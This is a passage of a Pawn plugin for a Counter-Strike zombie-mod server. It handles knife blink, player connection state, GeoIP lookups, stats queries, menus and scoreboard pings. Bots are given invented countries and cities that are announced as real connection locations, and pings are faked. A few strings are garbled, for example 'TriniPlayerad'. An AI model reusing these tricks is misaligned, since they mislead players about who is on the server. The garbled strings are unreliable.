3514
3515 new ent = fm_find_ent_by_owner(-1,weapon,id)
3516
3517 if(ent)
3518 {
3519 set_pdata_float(ent,46, 0.0);
3520 set_pdata_float(ent,47, 0.0);
3521 g_iSlash[id] = 1;
3522 g_fLastSlash[id] = get_gametime();
3523 g_iBlinks[id] -= 1;
3524 new name[32];
3525 get_user_name(id,name,31)
3526 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 just used a^4 Knife Blink^1 [^4 %d remaining^1 ]", g_cName[id], g_iBlinks[id]);
3527 }
3528 }
3529}
3530
3531public OP_SetBlink(id)
3532{
3533 new blink = g_iInBlink[id];
3534
3535 if (blink>1)
3536 return;
3537
3538 if (blink)
3539 g_iInBlink[id] += 1;
3540}
3541
3542new const g_countries[][]=
3543{
3544 "N/A",
3545 "Asia/Pacific Region", "Europe",
3546 "Andorra", "United Arab Emirates",
3547 "Afghanistan", "Antigua and Barbuda",
3548 "Anguilla",
3549 "Albania", "Armenia",
3550 "Curacao",
3551 "Angola",
3552 "Antarctica", "Argentina",
3553 "American Samoa", "Austria",
3554 "Australia", "Aruba",
3555 "Azerbaijan",
3556 "Bosnia and Herzegovina", "Barbados",
3557 "Bangladesh",
3558 "Belgium", "Burkina Faso",
3559 "Bulgaria", "Bahrain",
3560 "Burundi", "Benin",
3561 "Bermuda",
3562 "Brunei Darussalam", "Bolivia",
3563 "Brazil",
3564 "Bahamas", "Bhutan",
3565 "Bouvet Island", "Botswana",
3566 "Belarus", "Belize",
3567 "Canada",
3568 "Cocos (Keeling) Islands",
3569 "Congo, The Democratic Republic of the",
3570 "Central African Republic",
3571 "Congo", "Switzerland",
3572 "Cote D'Ivoire", "Cook Islands",
3573 "Chile", "Cameroon",
3574 "China",
3575 "Colombia", "Costa Rica",
3576 "Cuba",
3577 "Cape Verde", "Christmas Island",
3578 "Cyprus", "Czech Republic",
3579 "Germany", "Djibouti",
3580 "Denmark",
3581 "Dominica", "Dominican Republic",
3582 "Algeria",
3583 "Ecuador", "Estonia",
3584 "Egypt", "Western Sahara",
3585 "Eritrea", "Spain",
3586 "Ethiopia",
3587 "Finland", "Fiji",
3588 "Falkland Islands (Malvinas)",
3589 "Micronesia, Federated States of", "Faroe Islands",
3590 "France", "Sint Maarten (Dutch part)",
3591 "Gabon", "United Kingdom",
3592 "Grenada",
3593 "Georgia", "French Guiana",
3594 "Ghana",
3595 "Gibraltar", "Greenland",
3596 "Gambia", "Guinea",
3597 "Guadeloupe", "Equatorial Guinea",
3598 "Greece",
3599 "South Georgia and the South Sandwich Islands","Guatemala",
3600 "Guam",
3601 "Guinea-Bissau", "Guyana",
3602 "Hong Kong",
3603 "Heard Island and McDonald Islands",
3604 "Honduras", "Croatia",
3605 "Haiti",
3606 "Hungary", "Indonesia",
3607 "Ireland",
3608 "Israel", "India",
3609 "British Indian Ocean Territory", "Iraq",
3610 "Iran, Islamic Republic of", "Iceland",
3611 "Italy",
3612 "Jamaica", "Jordan",
3613 "Japan",
3614 "Kenya", "Kyrgyzstan",
3615 "Cambodia", "Kiribati",
3616 "Comoros", "Saint Kitts and Nevis",
3617 "Korea, Democratic People's Republic of", "Korea, Republic of",
3618 "Kuwait",
3619 "Cayman Islands",
3620 "Kazakhstan",
3621 "Lao People's Democratic Republic",
3622 "Lebanon", "Saint Lucia",
3623 "Liechtenstein", "Sri Lanka",
3624 "Liberia",
3625 "Lesotho", "Lithuania",
3626 "Luxembourg",
3627 "Latvia", "Libya",
3628 "Morocco", "Monaco",
3629 "Moldova, Republic of", "Madagascar",
3630 "Marshall Islands", "Macedonia",
3631 "Mali",
3632 "Myanmar",
3633 "Mongolia", "Macau",
3634 "Northern Mariana Islands", "Martinique",
3635 "Mauritania", "Montserrat",
3636 "Malta",
3637 "Mauritius", "Maldives",
3638 "Malawi",
3639 "Mexico", "Malaysia",
3640 "Mozambique", "Namibia",
3641 "New Caledonia", "Niger",
3642 "Norfolk Island",
3643 "Nigeria", "Nicaragua",
3644 "Netherlands",
3645 "Norway", "Nepal",
3646 "Nauru", "Niue",
3647 "New Zealand", "Oman",
3648 "Panama",
3649 "Peru", "French Polynesia",
3650 "Papua New Guinea",
3651 "Philippines", "Pakistan",
3652 "Poland", "Saint Pierre and Miquelon",
3653 "Pitcairn Islands", "Puerto Rico",
3654 "Palestinian Territory", "Portugal",
3655 "Palau",
3656 "Paraguay",
3657 "Qatar", "Reunion",
3658 "Romania", "Russian Federation",
3659 "Rwanda", "Saudi Arabia",
3660 "Solomon Islands", "Seychelles",
3661 "Sudan",
3662 "Sweden",
3663 "Singapore", "Saint Helena",
3664 "Slovenia", "Svalbard and Jan Mayen",
3665 "Slovakia", "Sierra Leone",
3666 "San Marino",
3667 "Senegal", "Somalia",
3668 "Suriname",
3669 "Sao Tome and Principe",
3670 "El Salvador", "Syrian Arab Republic",
3671 "Swaziland", "Turks and Caicos Islands",
3672 "Chad", "French Southern Territories",
3673 "Togo",
3674 "Thailand",
3675 "Tajikistan",
3676 "Tokelau", "Turkmenistan",
3677 "Tunisia", "Tonga",
3678 "Timor-Leste", "Turkey",
3679 "TriniPlayerad and Tobago", "Tuvalu",
3680 "Taiwan",
3681 "Tanzania, United Republic of",
3682 "Ukraine", "Uganda",
3683 "United States Minor Outlying Islands", "United States",
3684 "Uruguay", "Uzbekistan",
3685 "Holy See (Vatican City State)",
3686 "Saint Vincent and the Grenadines",
3687 "Venezuela",
3688 "Virgin Islands, British",
3689 "Virgin Islands, U.S.", "Vietnam",
3690 "Vanuatu", "Wallis and Futuna",
3691 "Samoa", "Yemen",
3692 "Mayotte",
3693 "Serbia", "South Africa",
3694 "Zambia",
3695 "Montenegro", "Zimbabwe",
3696 "Anonymous Proxy", "Satellite ProviPlayerer",
3697 "Other", "Aland Islands",
3698 "Guernsey",
3699 "Isle of Man", "Jersey",
3700 "Saint Barthelemy",
3701 "Saint Martin",
3702 "Bonaire, Saint Eustatius and Saba",
3703 "South Sudan", "Other"
3704};
3705
3706
3707public client_putinserver(iPlayer)
3708{
3709 static iSize;
3710 static queryData[32] = { 0, ... };
3711 g_bKilling[iPlayer] = false
3712 g_bFlashEnabled[iPlayer] = true;
3713 g_bFlash[iPlayer] = true;
3714 g_bRanked[iPlayer] = false;
3715 g_bAlive[iPlayer] = false;
3716 g_bNoDamage[iPlayer] = false;
3717 g_bZombie[iPlayer] = false;
3718 g_iPlayerType[iPlayer] = false;
3719 g_bGoldenDeagle[iPlayer] = false;
3720 g_bGolden[iPlayer] = false;
3721 g_bGaveThisRound[iPlayer] = false;
3722 g_iBurningDuration[iPlayer] = 0;
3723 g_iKillsThisRound[iPlayer] = 0;
3724 g_iPacks[iPlayer] = 0;
3725 g_iZombieNextClass[iPlayer] = -1;
3726 TaskReward[iPlayer] = 600;
3727 g_bConnected[iPlayer] = true;
3728 get_user_ip(iPlayer, g_cPlayerAddress[iPlayer], 24, 1);
3729 get_user_name(iPlayer, g_cName[iPlayer], 31);
3730 savePoints(iPlayer)
3731 if (!g_bFake[iPlayer])
3732 {
3733 set_task(1.0, "TaskHud", iPlayer + 300, "", 0, "b", 0);
3734 set_task(12.0, "TaskCheckName", iPlayer, "", 0, "", 0);
3735
3736 }
3737 set_task(2.0, "Administrator", iPlayer)
3738 set_task(2.0, "AnnounceXa", iPlayer);
3739 client_cmd(iPlayer, "cl_minmodels 0; mp3 stop");
3740 if ((iSize = ArraySize(g_aAmmoData)))
3741 {
3742 static cSavedName[32];
3743 static i;
3744 i = iSize + -1;
3745 while (i > -1)
3746 {
3747 ArrayGetString(g_aNameData, i, cSavedName, 32);
3748 if (equali(cSavedName, g_cName[iPlayer], 0))
3749 {
3750 g_iPacks[iPlayer] = ArrayGetCell(g_aAmmoData, i);
3751 }
3752 i -= 1;
3753 }
3754 }
3755 if (!g_iPacks[iPlayer])
3756 {
3757 g_iPacks[iPlayer] = 5;
3758 }
3759 get_user_ip(iPlayer, g_ip[iPlayer], charsmax(g_ip[]), 1);
3760 get_user_authid(iPlayer, g_steam[iPlayer], charsmax(g_steam[]));
3761
3762 geoip_country_ex(g_ip[iPlayer], g_country[iPlayer], charsmax(g_country[]));
3763 geoip_city(g_ip[iPlayer], g_city[iPlayer], charsmax(g_city[]));
3764
3765 if (!g_country[iPlayer][0] || containi(g_country[iPlayer], "Err") != -1)
3766 g_country[iPlayer] = "N/A";
3767
3768 if (!g_city[iPlayer][0] || containi(g_city[iPlayer], "Err") != -1)
3769 g_city[iPlayer] = "N/A";
3770
3771 if (is_user_bot(iPlayer) && equali(g_country[iPlayer], "N/A"))
3772 {
3773 new irand = random_num(0, sizeof(g_countries) - 1)
3774
3775 if (random_num(0, 1) == 0)
3776 copy(g_country[iPlayer],charsmax(g_country[]), g_countries[irand])
3777 else
3778 copy(g_country[iPlayer],charsmax(g_country[]), "Romania")
3779
3780 if (equali(g_country[iPlayer], "Romania"))
3781 {
3782 switch(random_num(0, 135))
3783 {
3784 case 0:copy(g_city[iPlayer],charsmax(g_city[]), "Cluj-Napoca")
3785 case 1:copy(g_city[iPlayer],charsmax(g_city[]), "Bucharest")
3786 case 2:copy(g_city[iPlayer],charsmax(g_city[]), "Tecuci")
3787 case 3:copy(g_city[iPlayer],charsmax(g_city[]), "Techirghiol")
3788 case 4:copy(g_city[iPlayer],charsmax(g_city[]), "Dej")
3789 case 5:copy(g_city[iPlayer],charsmax(g_city[]), "Aiud")
3790 case 6:copy(g_city[iPlayer],charsmax(g_city[]), "Tuzla")
3791 case 7:copy(g_city[iPlayer],charsmax(g_city[]), "Agigea")
3792 case 8:copy(g_city[iPlayer],charsmax(g_city[]), "Mangalia")
3793 case 9:copy(g_city[iPlayer],charsmax(g_city[]), "Constanta")
3794 case 10:copy(g_city[iPlayer],charsmax(g_city[]), "Vulcan")
3795 case 11:copy(g_city[iPlayer],charsmax(g_city[]), "Targu Mures")
3796 case 12:copy(g_city[iPlayer],charsmax(g_city[]), "Blaj")
3797 case 13:copy(g_city[iPlayer],charsmax(g_city[]), "Alba Iulia")
3798 case 14:copy(g_city[iPlayer],charsmax(g_city[]), "Sibiu")
3799 case 15:copy(g_city[iPlayer],charsmax(g_city[]), "Brasov")
3800 case 16:copy(g_city[iPlayer],charsmax(g_city[]), "Turnu Magurele")
3801 case 17:copy(g_city[iPlayer],charsmax(g_city[]), "Arad")
3802 case 18:copy(g_city[iPlayer],charsmax(g_city[]), "Turda")
3803 case 19:copy(g_city[iPlayer],charsmax(g_city[]), "Campia Turzii")
3804 case 20:copy(g_city[iPlayer],charsmax(g_city[]), "Ludus")
3805 case 21:copy(g_city[iPlayer],charsmax(g_city[]), "Medias")
3806 case 22:copy(g_city[iPlayer],charsmax(g_city[]), "Barlad")
3807 case 23:copy(g_city[iPlayer],charsmax(g_city[]), "Marasesti")
3808 case 24:copy(g_city[iPlayer],charsmax(g_city[]), "Ramnicu Sarat")
3809 case 25:copy(g_city[iPlayer],charsmax(g_city[]), "Focsani")
3810 case 26:copy(g_city[iPlayer],charsmax(g_city[]), "Bucure?ti")
3811 case 27:copy(g_city[iPlayer],charsmax(g_city[]), "Cluj-napoca")
3812 case 28:copy(g_city[iPlayer],charsmax(g_city[]), "Media?")
3813 case 29:copy(g_city[iPlayer],charsmax(g_city[]), "Câmpia Turzii")
3814 case 30:copy(g_city[iPlayer],charsmax(g_city[]), "Ludu?")
3815 case 31:copy(g_city[iPlayer],charsmax(g_city[]), "Constan?a")
3816 case 32:copy(g_city[iPlayer],charsmax(g_city[]), "Râmnicu Sarat")
3817 case 33:copy(g_city[iPlayer],charsmax(g_city[]), "Târgu Mure?")
3818 case 34:copy(g_city[iPlayer],charsmax(g_city[]), "Targu Jiu")
3819 case 35:copy(g_city[iPlayer],charsmax(g_city[]), "Târgu Jiu")
3820 case 36:copy(g_city[iPlayer],charsmax(g_city[]), "Bârlad")
3821 case 37:copy(g_city[iPlayer],charsmax(g_city[]), "Turnu Magurele")
3822 case 38:copy(g_city[iPlayer],charsmax(g_city[]), "Covasna")
3823 case 39:copy(g_city[iPlayer],charsmax(g_city[]), "Timisoara")
3824 case 40:copy(g_city[iPlayer],charsmax(g_city[]), "Timi?oara")
3825 case 41:copy(g_city[iPlayer],charsmax(g_city[]), "N/A")
3826 case 42:copy(g_city[iPlayer],charsmax(g_city[]), "Mure?")
3827 case 43:copy(g_city[iPlayer],charsmax(g_city[]), "Calafat")
3828 case 44:copy(g_city[iPlayer],charsmax(g_city[]), "Mures")
3829 case 45:copy(g_city[iPlayer],charsmax(g_city[]), "Mures")
3830 case 46:copy(g_city[iPlayer],charsmax(g_city[]), "Foc?ani")
3831 case 47:copy(g_city[iPlayer],charsmax(g_city[]), "Bra?ov")
3832 case 48:copy(g_city[iPlayer],charsmax(g_city[]), "Tulcea")
3833 case 49:copy(g_city[iPlayer],charsmax(g_city[]), "Vama Veche")
3834 case 50:copy(g_city[iPlayer],charsmax(g_city[]), "Sebe?")
3835 case 51:copy(g_city[iPlayer],charsmax(g_city[]), "Sebes")
3836 case 52:copy(g_city[iPlayer],charsmax(g_city[]), "Feleacu")
3837 case 53:copy(g_city[iPlayer],charsmax(g_city[]), "Martinesti")
3838 case 54:copy(g_city[iPlayer],charsmax(g_city[]), "Martine?ti")
3839 case 55:copy(g_city[iPlayer],charsmax(g_city[]), "Craiova")
3840 case 56:copy(g_city[iPlayer],charsmax(g_city[]), "Pitesti")
3841 case 57:copy(g_city[iPlayer],charsmax(g_city[]), "Pite?ti")
3842 case 58:copy(g_city[iPlayer],charsmax(g_city[]), "Tarnaveni")
3843 case 59:copy(g_city[iPlayer],charsmax(g_city[]), "Târnaveni")
3844 case 60:copy(g_city[iPlayer],charsmax(g_city[]), "Caransebes")
3845 case 61:copy(g_city[iPlayer],charsmax(g_city[]), "Caransebe?")
3846 case 62:copy(g_city[iPlayer],charsmax(g_city[]), "Miercurea Ciuc")
3847 case 63:copy(g_city[iPlayer],charsmax(g_city[]), "Bucegi")
3848 case 64:copy(g_city[iPlayer],charsmax(g_city[]), "Harghita")
3849 case 65:copy(g_city[iPlayer],charsmax(g_city[]), "Balea")
3850 case 66:copy(g_city[iPlayer],charsmax(g_city[]), "Bâlea")
3851 case 67:copy(g_city[iPlayer],charsmax(g_city[]), "Vaslui")
3852 case 68:copy(g_city[iPlayer],charsmax(g_city[]), "Botosani")
3853 case 69:copy(g_city[iPlayer],charsmax(g_city[]), "Boto?ani")
3854 case 70:copy(g_city[iPlayer],charsmax(g_city[]), "Iasi")
3855 case 71:copy(g_city[iPlayer],charsmax(g_city[]), "Ia?i")
3856 case 72:copy(g_city[iPlayer],charsmax(g_city[]), "Galati")
3857 case 73:copy(g_city[iPlayer],charsmax(g_city[]), "Gala?i")
3858 case 74:copy(g_city[iPlayer],charsmax(g_city[]), "Ploiesti")
3859 case 75:copy(g_city[iPlayer],charsmax(g_city[]), "Ploie?ti")
3860 case 76:copy(g_city[iPlayer],charsmax(g_city[]), "Oradea")
3861 case 77:copy(g_city[iPlayer],charsmax(g_city[]), "Braila")
3862 case 78:copy(g_city[iPlayer],charsmax(g_city[]), "Braila")
3863 case 79:copy(g_city[iPlayer],charsmax(g_city[]), "Bacau")
3864 case 80:copy(g_city[iPlayer],charsmax(g_city[]), "Bacau")
3865 case 81:copy(g_city[iPlayer],charsmax(g_city[]), "Baia Mare")
3866 case 82:copy(g_city[iPlayer],charsmax(g_city[]), "Buzau")
3867 case 83:copy(g_city[iPlayer],charsmax(g_city[]), "Buzau")
3868 case 84:copy(g_city[iPlayer],charsmax(g_city[]), "Satu Mare")
3869 case 85:copy(g_city[iPlayer],charsmax(g_city[]), "Râmnicu Vâlcea")
3870 case 86:copy(g_city[iPlayer],charsmax(g_city[]), "Ramnicu Valcea")
3871 case 87:copy(g_city[iPlayer],charsmax(g_city[]), "Suceava")
3872 case 88:copy(g_city[iPlayer],charsmax(g_city[]), "Piatra Neamt")
3873 case 89:copy(g_city[iPlayer],charsmax(g_city[]), "Piatra Neam?")
3874 case 90:copy(g_city[iPlayer],charsmax(g_city[]), "Targoviste")
3875 case 91:copy(g_city[iPlayer],charsmax(g_city[]), "Târgovi?te")
3876 case 92:copy(g_city[iPlayer],charsmax(g_city[]), "Bistrita")
3877 case 93:copy(g_city[iPlayer],charsmax(g_city[]), "Bistri?a")
3878 case 94:copy(g_city[iPlayer],charsmax(g_city[]), "Resita")
3879 case 95:copy(g_city[iPlayer],charsmax(g_city[]), "Re?i?a")
3880 case 96:copy(g_city[iPlayer],charsmax(g_city[]), "Slatina")
3881 case 97:copy(g_city[iPlayer],charsmax(g_city[]), "Calarasi")
3882 case 98:copy(g_city[iPlayer],charsmax(g_city[]), "Calara?i")
3883 case 99:copy(g_city[iPlayer],charsmax(g_city[]), "Giurgiu")
3884 case 100:copy(g_city[iPlayer],charsmax(g_city[]), "Deva")
3885 case 101:copy(g_city[iPlayer],charsmax(g_city[]), "Hunedoara")
3886 case 102:copy(g_city[iPlayer],charsmax(g_city[]), "Zalau")
3887 case 103:copy(g_city[iPlayer],charsmax(g_city[]), "Zalau")
3888 case 104:copy(g_city[iPlayer],charsmax(g_city[]), "Sfantu Gheorghe")
3889 case 105:copy(g_city[iPlayer],charsmax(g_city[]), "Sfântu Gheorghe")
3890 case 106:copy(g_city[iPlayer],charsmax(g_city[]), "Roman")
3891 case 107:copy(g_city[iPlayer],charsmax(g_city[]), "Slobozia")
3892 case 108:copy(g_city[iPlayer],charsmax(g_city[]), "Alexandria")
3893 case 109:copy(g_city[iPlayer],charsmax(g_city[]), "Voluntari")
3894 case 110:copy(g_city[iPlayer],charsmax(g_city[]), "Lugoj")
3895 case 111:copy(g_city[iPlayer],charsmax(g_city[]), "MedgiPlayeria")
3896 case 112:copy(g_city[iPlayer],charsmax(g_city[]), "Onesti")
3897 case 113:copy(g_city[iPlayer],charsmax(g_city[]), "One?ti")
3898 case 114:copy(g_city[iPlayer],charsmax(g_city[]), "Sighetu Marmatiei")
3899 case 115:copy(g_city[iPlayer],charsmax(g_city[]), "Sighetu Marma?iei")
3900 case 116:copy(g_city[iPlayer],charsmax(g_city[]), "Petrosani")
3901 case 117:copy(g_city[iPlayer],charsmax(g_city[]), "Petro?ani")
3902 case 118:copy(g_city[iPlayer],charsmax(g_city[]), "Odorheiu Secuiesc")
3903 case 119:copy(g_city[iPlayer],charsmax(g_city[]), "Pascani")
3904 case 120:copy(g_city[iPlayer],charsmax(g_city[]), "Pa?cani")
3905 case 121:copy(g_city[iPlayer],charsmax(g_city[]), "Reghin")
3906 case 122:copy(g_city[iPlayer],charsmax(g_city[]), "Navodari")
3907 case 123:copy(g_city[iPlayer],charsmax(g_city[]), "Navodari")
3908 case 124:copy(g_city[iPlayer],charsmax(g_city[]), "Campina")
3909 case 125:copy(g_city[iPlayer],charsmax(g_city[]), "Câmpina")
3910 case 126:copy(g_city[iPlayer],charsmax(g_city[]), "Mioveni")
3911 case 127:copy(g_city[iPlayer],charsmax(g_city[]), "Campulung")
3912 case 128:copy(g_city[iPlayer],charsmax(g_city[]), "Câmpulung")
3913 case 129:copy(g_city[iPlayer],charsmax(g_city[]), "Caracal")
3914 case 130:copy(g_city[iPlayer],charsmax(g_city[]), "Sacele")
3915 case 131:copy(g_city[iPlayer],charsmax(g_city[]), "Sacele")
3916 case 132:copy(g_city[iPlayer],charsmax(g_city[]), "Fagaras")
3917 case 133:copy(g_city[iPlayer],charsmax(g_city[]), "Fagara?")
3918 case 134:copy(g_city[iPlayer],charsmax(g_city[]), "Fete?ti")
3919 case 135:copy(g_city[iPlayer],charsmax(g_city[]), "Fetesti")
3920 }
3921 }
3922
3923 if (equali(g_country[iPlayer], "Algeria"))
3924 {
3925 switch(random_num(0, 2))
3926 {
3927 case 0:copy(g_city[iPlayer], charsmax(g_city[]), "Constantine");
3928 case 1:copy(g_city[iPlayer], charsmax(g_city[]), "Ain-defla");
3929 case 2:copy(g_city[iPlayer], charsmax(g_city[]), "N/A");
3930 }
3931 }
3932
3933 if (equali(g_country[iPlayer], "Italy"))
3934 {
3935 switch(random_num(0, 2))
3936 {
3937 case 0:copy(g_city[iPlayer], charsmax(g_city[]), "Naples");
3938 case 1:copy(g_city[iPlayer], charsmax(g_city[]), "Rome");
3939 case 2:copy(g_city[iPlayer], charsmax(g_city[]), "N/A");
3940 }
3941 }
3942
3943 if (equali(g_country[iPlayer], "Japan"))
3944 {
3945 switch(random_num(0, 2))
3946 {
3947 case 0:copy(g_city[iPlayer], charsmax(g_city[]), "Tokyo");
3948 case 1:copy(g_city[iPlayer], charsmax(g_city[]), "Kyoto");
3949 case 2:copy(g_city[iPlayer], charsmax(g_city[]), "N/A");
3950 }
3951 }
3952
3953 if (equali(g_country[iPlayer], "Venezuela"))
3954 {
3955 switch(random_num(0, 1))
3956 {
3957 case 0:copy(g_city[iPlayer], charsmax(g_city[]), "Caracas");
3958 case 1:copy(g_city[iPlayer], charsmax(g_city[]), "N/A");
3959 }
3960 }
3961 }
3962 if (isValidPlayer(iPlayer) && is_user_bot(iPlayer) == 0 && is_user_hltv(iPlayer) == 0)
3963 {
3964 resetPlayer(iPlayer);
3965
3966 num_to_str(iPlayer, queryData, charsmax(queryData));
3967
3968 get_user_name(iPlayer, g_Name[iPlayer], charsmax(g_Name[]));
3969 replace_all(g_Name[iPlayer], charsmax(g_Name[]), "`", "*");
3970 replace_all(g_Name[iPlayer], charsmax(g_Name[]), "'", "*");
3971 replace_all(g_Name[iPlayer], charsmax(g_Name[]), "\", "*");
3972
3973 get_user_authid(iPlayer, g_Steam[iPlayer], charsmax(g_Steam[]));
3974 get_user_ip(iPlayer, g_Ip[iPlayer], charsmax(g_Ip[]), 1);
3975
3976 formatex(g_Query, charsmax(g_Query), "SELECT Score, Kills, Deaths, headShots, Time, timeString, \
3977 Seen, seenString, kpdRatio, kmdValue FROM Players WHERE Name = '%s';", g_Name[iPlayer]);
3978
3979 SQL_ThreadQuery(g_Tuple, "retrieveOrCreatePlayer", g_Query, queryData, sizeof(queryData));
3980 }
3981}
3982
3983public AnnounceXa(Player)
3984{
3985 if (g_bConnected[Player])
3986 {
3987 new Name[32];
3988 get_user_name(Player, Name, 31);
3989 client_print_color(0, print_team_grey, "^1Player^4 %s^1 connected from [^3%s^1] [^3%s^1]", Name, g_country[Player], g_city[Player]);
3990 }
3991 return 0;
3992}
3993
3994public Administrator(id)
3995{
3996 if (get_user_flags ( id ) & read_flags ( "r" ) )
3997 {
3998 set_dhudmessage(157, 103, 200, 0.02, 0.64, 2, 6.0, 3.0);
3999 show_dhudmessage(id, "You are now Administrator!");
4000 console_print(id,"You are now administrator.");
4001 }
4002}
4003
4004public client_disconnect(iPlayer)
4005{
4006 static iTimeLimit;
4007 iTimeLimit = get_pcvar_num(g_iTimeLimit);
4008 if (iTimeLimit != 4096)
4009 {
4010 if (g_bAlive[iPlayer])
4011 {
4012 CheckLastPlayer(iPlayer);
4013 }
4014 InsertInfo(iPlayer);
4015 ArrayPushString(g_aNameData, g_cName[iPlayer]);
4016 ArrayPushCell(g_aAmmoData, g_iPacks[iPlayer]);
4017 }
4018 remove_task(iPlayer + TASK_TEAM);
4019 remove_task(iPlayer + 50, 0);
4020 remove_task(iPlayer + 100, 0);
4021 remove_task(iPlayer + 150, 0);
4022 remove_task(iPlayer + 250, 0);
4023 remove_task(iPlayer + 200, 0);
4024 remove_task(iPlayer + 300, 0);
4025 remove_task(iPlayer + 850, 0);
4026 remove_task(iPlayer + 350, 0);
4027 remove_task(iPlayer + 400, 0);
4028 remove_task(iPlayer + 500, 0);
4029 remove_task(iPlayer + 450, 0);
4030 if (g_iPlantedMines[iPlayer])
4031 {
4032 Func_RemoveMinesByOwner(iPlayer);
4033 g_iPoints[iPlayer] = 0;
4034 g_iPlantedMines[iPlayer] = 0;
4035 }
4036 g_iTripMines[iPlayer] = 0;
4037 g_fGagTime[iPlayer] = 0;
4038 g_iPlanting[iPlayer] = false;
4039 g_iRemoving[iPlayer] = false;
4040 g_bAlive[iPlayer] = false;
4041 g_vip[iPlayer] = false
4042 g_bConnected[iPlayer] = false;
4043 g_bServerSlot[iPlayer] = false;
4044 g_bAdminModel[iPlayer] = false;
4045 g_bDoubleDamage[iPlayer] = false;
4046 g_bTryder[iPlayer] = false;
4047 jumpnum[iPlayer] = 0
4048 dojump[iPlayer] = false
4049 savePoints(iPlayer)
4050 g_iBlinks[iPlayer] = 0;
4051 g_bUnlimitedClip[iPlayer] = 0;
4052 g_iPingOverride[ iPlayer ] = -1;
4053 if (isValidPlayer(iPlayer) && is_user_bot(iPlayer) == 0 && is_user_hltv(iPlayer) == 0)
4054 {
4055 resetPlayer(iPlayer);
4056 if (task_exists(iPlayer + 400))
4057 {
4058 remove_task(iPlayer + 400);
4059 }
4060 }
4061 if (g_bFake[iPlayer])
4062 {
4063 g_bFake[iPlayer] = false;
4064 }
4065 return 0;
4066}
4067
4068public fw_UpdateClientData( id )
4069{
4070 if( !(pev( id, pev_button ) & IN_SCORE ) && !( pev( id, pev_oldbuttons ) & IN_SCORE ) )
4071 return;
4072
4073 static player, sending;
4074 sending = 0;
4075
4076 for( player = 1; player <= g_iMaxClients; player++ )
4077 {
4078 if( !is_user_connected( player ) )
4079 continue;
4080
4081 switch( sending )
4082 {
4083 case 0:
4084 {
4085 message_begin( MSG_ONE_UNRELIABLE, SVC_PINGS, _, id );
4086 write_byte( ( g_iOffset[ player ][ 0 ] * 64 ) + ( 1 + 2 * ( player - 1 ) ) );
4087 write_short( g_iArgumentPing[ player ][ 0 ] );
4088 sending++;
4089 }
4090
4091 case 1:
4092 {
4093 write_byte( ( g_iOffset[ player ][ 1 ] * 128 ) + ( 2 + 4 * ( player - 1 ) ) );
4094 write_short( g_iArgumentPing[ player ][ 1 ] );
4095 sending++;
4096 }
4097
4098 case 2:
4099 {
4100 write_byte( ( 4 + 8 * ( player - 1 ) ) );
4101 write_short( g_iArgumentPing[ player ][ 2 ] );
4102 write_byte( 0 );
4103 message_end( );
4104 sending = 0;
4105 }
4106 }
4107 }
4108
4109 if (sending)
4110 {
4111 write_byte( 0 );
4112 message_end( );
4113 }
4114}
4115
4116public calculate_arguments( )
4117{
4118 static player, ping;
4119
4120 for( player = 1; player <= g_iMaxClients; player++ )
4121 {
4122 if( g_iPingOverride[ player ] < 0 )
4123 ping = clamp( g_iPing + random_num( -g_iFlux, g_iFlux ), 0, 4095 );
4124
4125 else
4126 ping = g_iPingOverride[ player ];
4127
4128 for( g_iOffset[ player ][ 0 ] = 0; g_iOffset[ player ][ 0 ] < 4; g_iOffset[ player ][ 0 ]++ )
4129 {
4130 if( ( ping - g_iOffset[ player ][ 0 ] ) % 4 == 0 )
4131 {
4132 g_iArgumentPing[ player ][ 0 ] = ( ping - g_iOffset[ player ][ 0 ] ) / 4;
4133 break;
4134 }
4135 }
4136
4137 for (g_iOffset[player][1] = 0; g_iOffset[player][1] < 2; g_iOffset[player][1]++)
4138 {
4139 if( ( ping - g_iOffset[ player ][ 1 ] ) % 2 == 0 )
4140 {
4141 g_iArgumentPing[ player ][ 1 ] = ( ping - g_iOffset[ player ][ 1 ] ) / 2;
4142 break;
4143 }
4144 }
4145
4146 g_iArgumentPing[ player ][ 2 ] = ping;
4147 }
4148}
4149
4150public client_PostThink(id)
4151{
4152 if(!g_bAlive[id] || !g_vip[id] || containi(g_vip_flags[id], "j") == -1)
4153 return
4154
4155 if(dojump[id] == true)
4156 {
4157 new Float:velocity[3]
4158 entity_get_vector(id,EV_VEC_velocity,velocity)
4159 velocity[2] = random_float(265.0, 285.0)
4160 entity_set_vector(id,EV_VEC_velocity,velocity)
4161 dojump[id] = false
4162 }
4163}
4164
4165
4166public _ZombieClasses(iPlayer, iMenu, iItem)
4167{
4168 if (iItem != -3 && !g_bFake[iPlayer] && g_bConnected[iPlayer])
4169 {
4170 static iChoice;
4171 static iDummy;
4172 static cBuffer[15];
4173 menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
4174 iChoice = str_to_num(cBuffer);
4175 g_iZombieNextClass[iPlayer] = iChoice;
4176 AddCommas(g_iZombieHealths[iChoice], cBuffer, 14);
4177 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You will be^4 %s^1 after the next infection!", g_cZombieClasses[iChoice]);
4178 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Health:^4 %s^1 | Speed:^4 %0.0f^1 | Gravity:^4 %0.0f^1 | Knockback:^4 %0.0f%s", cBuffer, g_fZombieSpeeds[iChoice], floatmul(100.0, g_fZombieGravities[iChoice]), floatmul(100.0, g_fZombieKnockbacks[iChoice]), "%");
4179 }
4180 return 0;
4181}
4182
4183public _ExtraItems(iPlayer, iMenu, iItem)
4184{
4185 if (g_bAlive[iPlayer] && iItem != -3 && !g_iPlayerType[iPlayer])
4186 {
4187 static iChoice;
4188 static iDummy;
4189 static cBuffer[3];
4190 menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
4191 iChoice = str_to_num(cBuffer);
4192 switch (iChoice)
4193 {
4194 case 0:
4195 {
4196 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4197 {
4198 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4199 return 0;
4200 }
4201 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4202 {
4203 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4204 return 0;
4205 }
